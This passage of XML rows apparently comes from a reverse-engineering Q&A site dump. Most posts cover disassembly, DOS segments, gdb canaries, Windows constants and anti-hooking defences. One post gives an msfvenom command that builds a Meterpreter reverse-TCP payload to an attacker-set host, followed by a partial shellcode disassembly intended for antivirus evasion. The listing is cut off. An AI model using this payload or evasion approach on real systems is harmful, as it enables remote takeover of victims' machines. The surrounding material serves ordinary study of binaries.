with code.&lt;/p&gt;&#xA;&lt;p&gt;Since the location of literal pools after functions seems to be a common feature of ARM binaries, are existing disassemblers able to differentiate between code in functions and the data in their adjoining literal pools even when there aren't any symbols in the binary? This isn't the case with Capstone as far as I know.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2021-05-21T03:42:30.827" LastActivityDate="2021-05-21T03:42:30.827" Title="How can the problem posed for disassembly by the mixture of executable code and literal pools in ARM firmware be overcome?" Tags="|disassembly|binary-analysis|firmware|arm|disassemblers|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="15330" PostTypeId="2" ParentId="15326" CreationDate="2017-05-12T01:47:11.553" Score="0" Body="&lt;p&gt;This looks like an format produced by a &lt;a href=&quot;http://www.ross.net/compression/lzrw1.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;LZRW&lt;/a&gt; family algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code referred there contains&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define FLAG_COMPRESS 0     /* Signals that compression occurred. */&#xA;#define FLAG_COPY     1     /* Signals that a copyover occurred.  */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(your variant may have those two swapped) and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define ITEMMAX 16     /* Maximum number of bytes in an expanded item.  */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18386" LastEditorUserId="18386" LastEditDate="2017-05-12T01:52:45.613" LastActivityDate="2017-05-12T01:52:45.613" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15331" PostTypeId="1" AcceptedAnswerId="15337" CreationDate="2017-05-12T03:47:38.803" Score="2" ViewCount="601" Body="&lt;p&gt;In a DOS EXE file, if I have sub1, sub2, and sub3, split between two code segments, how do I know which sub is in which segment? There seem to be no physical markers in the exe code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the EXE header gives a couple of these items, but looking at the relocation table for a random large EXE, all the segment addresses there were 0, yet there are actually 20 different segments in the program when I look at it in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do programs like IDA just guess at segment sizes and offsets based on code analysis? Or have I missed something important in the DOS EXE file structure?&lt;/p&gt;&#xA;" OwnerUserId="19713" LastActivityDate="2021-05-17T14:31:16.987" Title="DOS Executable Segments" Tags="|dos|segmentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15333" PostTypeId="1" CreationDate="2017-05-12T13:24:53.360" Score="2" ViewCount="174" Body="&lt;p&gt;I need to analyze an iOS app. Since it's iOS 10 64Bit (jailbroken) this time, I'm desperately looking for good analysis tools for injecting, manipulating, anti-anti-jailbreak, tracing, and so on. I previously used tools iRet and iSpy and so on, but none of those tools are available for iOS10 64Bit it seems. Any helping input on how to analyze apps in this environment would be really appreciated. (at least Keychaindumper still works ;)&lt;/p&gt;&#xA;" OwnerUserId="20155" LastActivityDate="2017-05-12T13:24:53.360" Title="Analysis Apps for iOS10/64Bit" Tags="|ios|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15334" PostTypeId="1" CreationDate="2017-05-12T15:02:31.823" Score="2" ViewCount="941" Body="&lt;p&gt;An SWF file was recently detected by Windows Defender as SWF/Meadgive. I uploaded a sample to VT and only Microsoft flagged it as malicious. As of today's signatures I am not seeing any further detection's and I am hoping this is simply a false positive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this as an opportunity to learn more about malware analysis and incident response. To take a deeper dive I opened the file with the JPEXS decompiler, but have no idea on where to go from here. Looking for guidance on how to better understand and analyze this for myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are there any online tools/sandboxes that accept swf files that would provide any value?&lt;/p&gt;&#xA;" OwnerUserId="20156" LastActivityDate="2018-01-07T20:12:35.900" Title="SWF flash analysis" Tags="|malware|exploit|flash|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15335" PostTypeId="2" ParentId="15334" CreationDate="2017-05-12T17:22:18.437" Score="1" Body="&lt;p&gt;According to &#xA;&lt;a href=&quot;https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Exploit%3aJS%2fMeadgive&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Exploit%3aJS%2fMeadgive&lt;/a&gt; this malware will download packages based on existing vulnerabilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to handle this would be to setup a virtual machine with one of these vulnerabilities and use Wireshark to monitor network activity and ApateDNS to forward any DNS requests to another Linux virtual machine running iNetSim.&lt;/p&gt;&#xA;" OwnerUserId="20158" LastActivityDate="2017-05-12T17:22:18.437" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15336" PostTypeId="2" ParentId="15325" CreationDate="2017-05-12T20:58:05.463" Score="0" Body="&lt;p&gt;This ties into the Turing-old problem of execution prevention. So, I'll try to answer a very general question in a very general way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps the most common method for function hooking is editing the IAT at runtime or during execution(Or the constant address table in .rdata for local functions). But detecting function hooks by checking the IAT is completely unreliable. It's like assuming a page that has been torn out of a book is still there because the index says it is. No runtime-filled tables (IAT, VMT, Windows Executable Header) containing references to instructions are guaranteed to provide any conclusive information as to what is actually being executed in memory. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common method for hooking that is invisible to a program's address tables is applied by placing a jump instruction into the assembly of the targeted function directly after the stack pointer is moved into the base pointer to be pushed and before the stack is expanded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, speaking in terms of reliable automatic prevention, we are led to the conclusion that we must derive the conditions upon which our &quot;Hook Detector&quot; detects function hooks from the predictability of our program's execution procedure. &lt;/p&gt;&#xA;" OwnerUserId="20162" LastEditorUserId="60" LastEditDate="2017-05-13T12:42:41.403" LastActivityDate="2017-05-13T12:42:41.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15337" PostTypeId="2" ParentId="15331" CreationDate="2017-05-13T10:39:23.340" Score="3" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;In a DOS EXE file, if I have sub1, sub2, and sub3, split between two&#xA;code segments, how do I know which sub is in which segment?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Theoretically, you can't, since most addresses can belong to at least 16 different segments, but in practice there are some heuristics. For example, for targets of far calls and jumps you know their selector (segment value) and offset in that segment, so if you gather that info over the whole executable, you can figure out (at least roughly) what part belongs to which segment. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/6070/60&quot;&gt;here&lt;/a&gt; for a specific example&lt;/p&gt;&#xA;&lt;p&gt;As for loading EXE files, you can check how IDA does it in the source of the DOS EXE loader in the SDK (&lt;code&gt;ldr/dos&lt;/code&gt;). Here's the relevant part (function &lt;code&gt;doRelocs&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;uint16 curval = get_word(xEA);&#xA;uint16 base = curval + delta;&#xA;put_word(xEA, base);&#xA;fd.sel = base;&#xA;set_fixup(xEA, &amp;amp;fd);&#xA;if ( dosegs )&#xA;  add_segm_by_selector(base, NULL);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So basically, a segment is added for each unique relocated selector value. Of course, this may be not enough for some complicated executables, so manual tuning of segment boundaries may be necessary.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2021-05-17T14:31:16.987" LastActivityDate="2021-05-17T14:31:16.987" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="15338" PostTypeId="2" ParentId="15329" CreationDate="2017-05-13T11:37:11.363" Score="3" Body="&lt;p&gt;This is indeed a problem for linear sweep disassemblers; recursive descent ones are mostly unaffected since they won't try to disassemble data if there are no code flows into it. However, there may be some heuristics/cheap tricks that might help even linear sweep disassemblers. Some that come to mind:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;while disassembling instructions, look for LDRs with PC-relative operands (as well as ADR instructions) and remember the target addresses; stop disassembly when reaching those addresses. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in ARM mode, stop disassembly when decoded instructions have nonsensical conditions, especially when there is no preceding flag-setting instruction. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;gather some stats (e.g. n-gram frequencies) from binaries which do have symbols and use them to tell code from data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, I don't think there is a good generic solution for this problem, so it may be even easier to just tune the approach for each specific target. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-13T11:37:11.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15339" PostTypeId="1" CreationDate="2017-05-13T17:21:24.920" Score="1" ViewCount="150" Body="&lt;p&gt;I was wondering if it was possible to restart a program &lt;em&gt;(ignoring previously mapped files)&lt;/em&gt; with different argument by either calling &lt;code&gt;main()&lt;/code&gt; or a glibc entry point function.&lt;/p&gt;&#xA;" OwnerUserId="17379" LastEditorUserId="17379" LastEditDate="2017-05-13T17:41:10.320" LastActivityDate="2017-05-16T09:58:41.363" Title="Is it possible to restart over a program by calling an entry point function?" Tags="|linux|exploit|x86-64|amd64|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15340" PostTypeId="1" CreationDate="2017-05-13T17:26:13.730" Score="1" ViewCount="147" Body="&lt;p&gt;I came across &lt;a href=&quot;http://zhodiac.hispahack.com/index.php?section=blog&amp;amp;month=1&amp;amp;year=2012&quot; rel=&quot;nofollow noreferrer&quot;&gt;this technique&lt;/a&gt;, leveraging the HPA feature (Heap Page Allocator, known as PageHeap) in gflags from Windows debugging tools, to find the size of a heap allocation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Lets say you have found a use-after-free on program X where at some point it is dereferencing a register plus an offset.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You could:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1) Open IDA an lookup where the object got created to see the size of the allocation.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;2) Use page heap, windbg and take a look to the allocation stack trace&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;3) Windbg !heap -p -a&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Or... a quick trick I used today, taking advantage of page heap placing the object at the end of a page for catching buffer overflows.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;1:022:x86&gt; &lt;strong&gt;? 0x1000-(ebx&amp;amp;0x00000FFF)&lt;/strong&gt;&#xA;  Evaluate expression: 88 = 00000058 &amp;lt;--- size of chunk&#xA;  1:022:x86&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fermin J. Serna - @fjserna &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;Why does it work?&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is what I understand:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each page is 0x1000 bytes (4kb). &lt;/li&gt;&#xA;&lt;li&gt;Each block smaller than 0x1000 would be allocated from the end of the page backwards.&lt;/li&gt;&#xA;&lt;li&gt;Therefore, by taking the page size and subtracting the block size from it, retrieved from the block's address last 3 digits that we get using the &amp;amp; operator, you get its actual size.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It seems a bit voodoo, because:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In order for the subtraction to work, the inspected allocated block address must be aligned with 1000. Does HPA align everything in pages somehow? I didn't find any resource with enough information about it. Is there any other way that HPA makes this formula work with?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does the AND operator actually makes the value return only the last 3 digits? I don't get its logic.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could anyone be kind enough to explain these things for us?&lt;/p&gt;&#xA;" OwnerUserId="20171" LastActivityDate="2017-05-13T17:26:13.730" Title="Using the AND operator to find a heap allocation size, Fermin's formula" Tags="|windows|debugging|windbg|exploit|heap|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15341" PostTypeId="1" CreationDate="2017-05-13T18:08:31.127" Score="0" ViewCount="287" Body="&lt;p&gt;I am trying to hack a code in binary &lt;code&gt;.so&lt;/code&gt; library. But, when I open &lt;code&gt;.so&lt;/code&gt; library with IDA the library has only one function and no strings and there is &lt;code&gt;bad_offset&lt;/code&gt; before every address. However, when I open the library in hex editor I can see the name of the functions. I think the program modify itself at runtime but I am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code of the function that shows in IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        ADR             R12, 0x1FE8&#xA;        ADD             R12, R12, #0x12000&#xA;        LDR             PC, [R12,#0xF68]! &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20172" LastEditorUserId="53" LastEditDate="2017-07-17T07:47:23.927" LastActivityDate="2017-07-17T07:47:23.927" Title="How to revese engineer a self-modyfing binary" Tags="|ida|disassembly|arm|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15342" PostTypeId="2" ParentId="15325" CreationDate="2017-05-14T05:25:31.400" Score="1" Body="&lt;p&gt;Here are several possible solutions for the problem. Generally specking you will need a combination of watchdog and hidden traps. This will not be a bullet proof but will be good enough to make it hard on the attacker to hook your game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vary Basic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;buy commercial protector for the game&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basic:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do not use IAT but resolve everything dynamically.&lt;/li&gt;&#xA;&lt;li&gt;Create watchdog thread that will check all critical apis/functions for patches randomly - if the preamble is different from standard one (mov edi, edi or push ebp, mov ebp, esp)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Advanced Basic (in addition to Basic):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create watchdog process to check and monitor main process for alternation.&lt;/li&gt;&#xA;&lt;li&gt;Main process also will check for the presence of the watchdog process&lt;/li&gt;&#xA;&lt;li&gt;Add integrity calculation functions which will check checksums for the critical code blocks for alternation. This could be done from main process and watchdog process.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Distribute traps that will check for code validity randomly in various parts of the game. If possible move the checks in the code on every execution of the game (your binary will always be rewritten after each execution)&lt;/li&gt;&#xA;&lt;li&gt;Store the on-disk binary in obfuscated state and unpack it during loading&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Advanced (in addition to the above):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Implement anti-injection techniques to prevent process alternation from outside.&lt;/li&gt;&#xA;&lt;li&gt;Control the loading of all the libraries that your need by implementing your own loader, previously validating that they are authentic (signature, checksums...)&lt;/li&gt;&#xA;&lt;li&gt;Alternatively check that all system libraries in your process are not local copies using the VAD trees. Most already loaded libraries will be mapped between processes with Copy-On-Write flag to save resources. If the patch was applied anywhere in the library address space, OS will create a local copy.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;More Advanced:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create kernel driver (right one) to assist on process alternation protection. It would better protect from code injection, memory alternation. It would provide loading protection and etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's for now. I'll think about more options along the way.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-05-14T05:25:31.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15344" PostTypeId="1" CreationDate="2017-05-14T16:59:17.690" Score="2" ViewCount="6215" Body="&lt;p&gt;In a program I am debugging, the canary value is read to &lt;code&gt;eax&lt;/code&gt; from &lt;code&gt;gs:0x14&lt;/code&gt; memory location. I am attaching gdb to the process late enough to break on the &lt;code&gt;mov&lt;/code&gt; reading the canary to &lt;code&gt;eax&lt;/code&gt;. Therefore, reading &lt;code&gt;eax&lt;/code&gt; is not an option to me. How can I read (&lt;code&gt;x/w&lt;/code&gt;) the canary location (&lt;code&gt;gs:0x14&lt;/code&gt;) in gdb?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-05-14T19:04:46.560" Title="How to read canary value in gdb?" Tags="|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15345" PostTypeId="1" CreationDate="2017-05-14T18:59:44.383" Score="1" ViewCount="435" Body="&lt;p&gt;This happens a lot where when I am reversing a program in a disassembler or debugger, I run into something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    eax             ; lParam&#xA;push    1               ; wParam&#xA;push    80h             ; Msg&#xA;push    ecx             ; hWnd&#xA;call    esi ; SendMessageA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to effectively reverse this, I need to know what 80h is. The problem is that when compiled (preprocessed), all of the Windows constant macros obviously get turned into numbers so I no longer have the semantic meanings. I also cannot go and search for &quot;SendMessage 0x80&quot; because there's no real context there either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, what are some tips in figuring out a Microsoft Windows constant macro name when given only a function and a value like this? I was able to go to &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644950(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;SendMessage&lt;/a&gt; on MSDN and then from there, look at the Msg parameter which lead me to the &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644927(v=vs.85).aspx#system_defined&quot; rel=&quot;nofollow noreferrer&quot;&gt;System-Defined Messages&lt;/a&gt; page. However, like many other MSDN pages, this one only defines the macros by description, rather than provides a table of which value each one corresponds to. This has actually been a regular issue that I've ran into in reversing Windows applications. Another solution I've discovered is to try and locate the .h file for the corresponding macros online and then search for the value there. But this situation is less than ideal because I have no idea if the information is accurate up-to-date, but many times I also do not even know which header file would contain the definition.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-05-20T12:18:26.003" Title="What are ways to find Windows constant macro definitions?" Tags="|windows|api|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15346" PostTypeId="2" ParentId="15344" CreationDate="2017-05-14T19:04:46.560" Score="3" Body="&lt;p&gt;It seems it's not possible to do this using built-in GDB functionality but I found a blog post which explains how to get the &lt;code&gt;gs&lt;/code&gt; base from a core dump:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.technovelty.org/linux/debugging-__thead-variables-from-coredumps.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.technovelty.org/linux/debugging-__thead-variables-from-coredumps.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to generate a core using &lt;code&gt;generate-core-file&lt;/code&gt; command then inspect it outside of GDB.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-14T19:04:46.560" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15348" PostTypeId="1" CreationDate="2017-05-15T09:29:30.543" Score="1" ViewCount="327" Body="&lt;p&gt;I have a bluetooth LE home automation style device, that connects to a mobile app. There are 2 values which are updated roughly every second. I'm trying to extract these numbers from the payload. I've narrowed the frames down to these examples below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00-02-7B-02-9E-00-0F-3B-84-DD-30&#xA;00-02-7C-02-A8-00-0F-3B-84-DD-30&#xA;00-02-7C-02-A9-00-0F-3B-84-DD-30&#xA;00-02-7B-02-A2-00-0F-3B-85-60-42&#xA;00-02-7C-02-AD-00-0F-3B-85-1E-B9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2 numbers I'm trying to extract should be a PSI/bar/other pressure value of around 50psi/339bar and the other should be between 1 and 5ish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like the values are split on the &lt;code&gt;00&lt;/code&gt; in the hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using this tool &lt;a href=&quot;http://www.scadacore.com/field-tools/programming-calculators/online-hex-converter/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex to int converter&lt;/a&gt; to try and split the hex up, but I can't get the values I'm expecting. &lt;/p&gt;&#xA;" OwnerUserId="20189" LastActivityDate="2017-05-15T09:29:30.543" Title="Wireshark - Bluetooth LE decoding a HCI Log" Tags="|wireshark|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15349" PostTypeId="2" ParentId="15264" CreationDate="2017-05-15T12:48:58.633" Score="1" Body="&lt;p&gt;I removed the correct amount of bytes and now set the base address to 0xE0040000 and it works :)&lt;/p&gt;&#xA;" OwnerUserId="20054" LastActivityDate="2017-05-15T12:48:58.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15351" PostTypeId="1" CreationDate="2017-05-15T15:26:18.177" Score="11" ViewCount="18889" Body="&lt;p&gt;It this even possible? Are there any free tools?&lt;/p&gt;&#xA;" OwnerUserId="20192" LastActivityDate="2024-03-22T14:57:30.480" Title="How to decompile a C# .exe on macOS?" Tags="|decompilation|c#|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15352" PostTypeId="1" CreationDate="2017-05-15T19:57:54.727" Score="2" ViewCount="723" Body="&lt;p&gt;I am blind, and both IDA and OllyDBG don't wrok with my screenreader.  What are my best choices for reverse engineering tools for both windows and linux?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am somewhat familiar with both gdb and windbg, but was wondering if there is something else to consider&lt;/p&gt;&#xA;" OwnerUserId="8742" LastEditorUserId="60" LastEditDate="2017-05-15T20:23:12.247" LastActivityDate="2017-06-14T22:47:14.257" Title="reversing without IDA or OLLYDBG" Tags="|ida|ollydbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15353" PostTypeId="2" ParentId="15352" CreationDate="2017-05-15T20:25:42.720" Score="1" Body="&lt;p&gt;In fact, IDA does work with screenreaders (at least with recent JAWS on Windows; I'm not 100% sure what the situation is with Linux ATM); we (Hex-Rays) happen to have a few blind users and worked with them to make recent IDA versions accessible. The IDA Free 5.0 (Windows only) is still using Borland VCL for GUI and AFAIK is accessible to some screenreaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not familiar much with other tools and especially their accessibility, but I suspect Radare2, being console-oriented, should be somewhat friendly to screen readers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also always use just plain linear disassemblers (&lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;dumpbin&lt;/code&gt;, or even IDA in batch mode) and edit the disassembly listing manually, or even dump hex and work from it...&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-15T20:25:42.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15354" PostTypeId="2" ParentId="15339" CreationDate="2017-05-16T09:58:41.363" Score="1" Body="&lt;p&gt;Well, while it's definitely &lt;em&gt;possible&lt;/em&gt; to jump to the entrypoint of the program to try restarting it, there may be various consequences preventing correct execution, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;library initialization has been run already, and running it a second time is not something most libraries expect&lt;/li&gt;&#xA;&lt;li&gt;various resources may have been allocated and variables initialized, so doing it again may not work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So what you can do is to cause the program to simulate termination &lt;em&gt;without actually exiting&lt;/em&gt; and then jump to the entry point. Microsoft CRT provides &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/zb3b443a&quot; rel=&quot;nofollow noreferrer&quot;&gt;functions &lt;code&gt;_c_exit&lt;/code&gt; and &lt;code&gt;_cexit&lt;/code&gt;&lt;/a&gt; for such cpurpose, but it seems glibc &lt;a href=&quot;https://github.com/lattera/glibc/blob/master/stdlib/exit.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not have anything similar&lt;/a&gt;. So you may have to simulate calling of the &lt;code&gt;atexit&lt;/code&gt; handlers manually to perform cleanup.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-05-16T09:58:41.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15355" PostTypeId="2" ParentId="15341" CreationDate="2017-05-16T15:17:08.297" Score="0" Body="&lt;p&gt;I don't know about Android so don't know if it applies to your situation, but on some embedded systems where you normally expect to disassemble the code from the flash image, but cannot for similar reasons, it can help to read the RAM as the program is running. Or step through the code in a simulator.&lt;/p&gt;&#xA;" OwnerUserId="19027" LastActivityDate="2017-05-16T15:17:08.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15356" PostTypeId="1" CreationDate="2017-05-16T16:45:24.783" Score="2" ViewCount="156" Body="&lt;p&gt;Anyone know any popular x86 tracer which can capture the instruction and memory change by a running program on windows?&lt;/p&gt;&#xA;" OwnerUserId="20203" LastActivityDate="2017-05-16T16:45:24.783" Title="Instruction and memory tracer for executing program on windows" Tags="|x86|tracing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15359" PostTypeId="1" AcceptedAnswerId="15367" CreationDate="2017-05-17T07:21:21.557" Score="2" ViewCount="2227" Body="&lt;p&gt;When I try to disassemble proprietary ARM binaries (no symbol), like Android phone's boot loaders, I find there are a bunch of strings that do not have any &quot;Xrefs to&quot; in IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image has already been rebased, and some strings have the Xrefs, while others do not. IDA does not recognize some of them as strings or data. Also, I tried to search the address as byte sequence, there is no result too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any good practices to find how these strings are referenced?&lt;/p&gt;&#xA;" OwnerUserId="10258" LastActivityDate="2017-05-17T22:36:24.253" Title="How to find Xref to strings in proprietary binaries?" Tags="|ida|android|arm|binary|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15362" PostTypeId="1" CreationDate="2017-05-17T14:38:00.697" Score="1" ViewCount="325" Body="&lt;p&gt;After using metasploit's windows/x64/meterpreter/reverse_tcp shellcode on my windows 10 machine (with AVs turned off), I decided to try to create a hand-made polymorphic, null-free and custom-encoded version of the same shellcode (with the hope of evading my AVs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test my work flow, I produced a raw output of the shellcode using:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64&#xA;  --platform windows LHOST='my IP address' | ndisasm -b 64 -&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global _start&#xA;section .text&#xA;&#xA;_start:&#xA;&#xA;cld                                 &#xA;and rsp,byte -0x10                  &#xA;call first_call ;dword 0xd6         &#xA;push r9                            &#xA;push r8&#xA;push rdx&#xA;push rcx&#xA;push rsi&#xA;xor rdx,rdx&#xA;mov rdx,[gs:rdx+0x60]&#xA;mov rdx,[rdx+0x18]&#xA;mov rdx,[rdx+0x20]&#xA;&#xA;&#xA;fifth_jmp:&#xA;&#xA;mov rsi,[rdx+0x50]&#xA;movzx rcx,word [rdx+0x4a]&#xA;xor r9,r9&#xA;xor rax,rax&#xA;lodsb&#xA;cmp al,0x61&#xA;jl 0x37&#xA;sub al,0x20&#xA;ror r9d,0xd&#xA;add r9d,eax&#xA;loop 0x2d&#xA;&#xA;push rdx&#xA;push r9&#xA;mov rdx,[rdx+0x20]&#xA;mov eax,[rdx+0x3c]&#xA;add rax,rdx&#xA;cmp word [rax+0x18],0x20b&#xA;jnz first_jmp ;dword 0xcb&#xA;&#xA;mov eax,[rax+0x88]&#xA;test rax,rax&#xA;jz first_jmp ;0xcb&#xA;&#xA;add rax,rdx&#xA;push rax&#xA;mov ecx,[rax+0x18]&#xA;mov r8d,[rax+0x20]&#xA;add r8,rdx&#xA;&#xA;fourth_jmp:&#xA;&#xA;jrcxz second_jmp ;0xca&#xA;&#xA;dec rcx&#xA;mov esi,[r8+rcx*4]&#xA;add rsi,rdx&#xA;xor r9,r9&#xA;&#xA;third_jmp:&#xA;&#xA;xor rax,rax&#xA;lodsb&#xA;ror r9d,0xd&#xA;add r9d,eax&#xA;cmp al,ah&#xA;jnz third_jmp &#xA;&#xA;add r9,[rsp+0x8]&#xA;cmp r9d,r10d&#xA;jnz fourth_jmp ;0x72&#xA;&#xA;pop rax&#xA;mov r8d,[rax+0x24]&#xA;add r8,rdx&#xA;mov 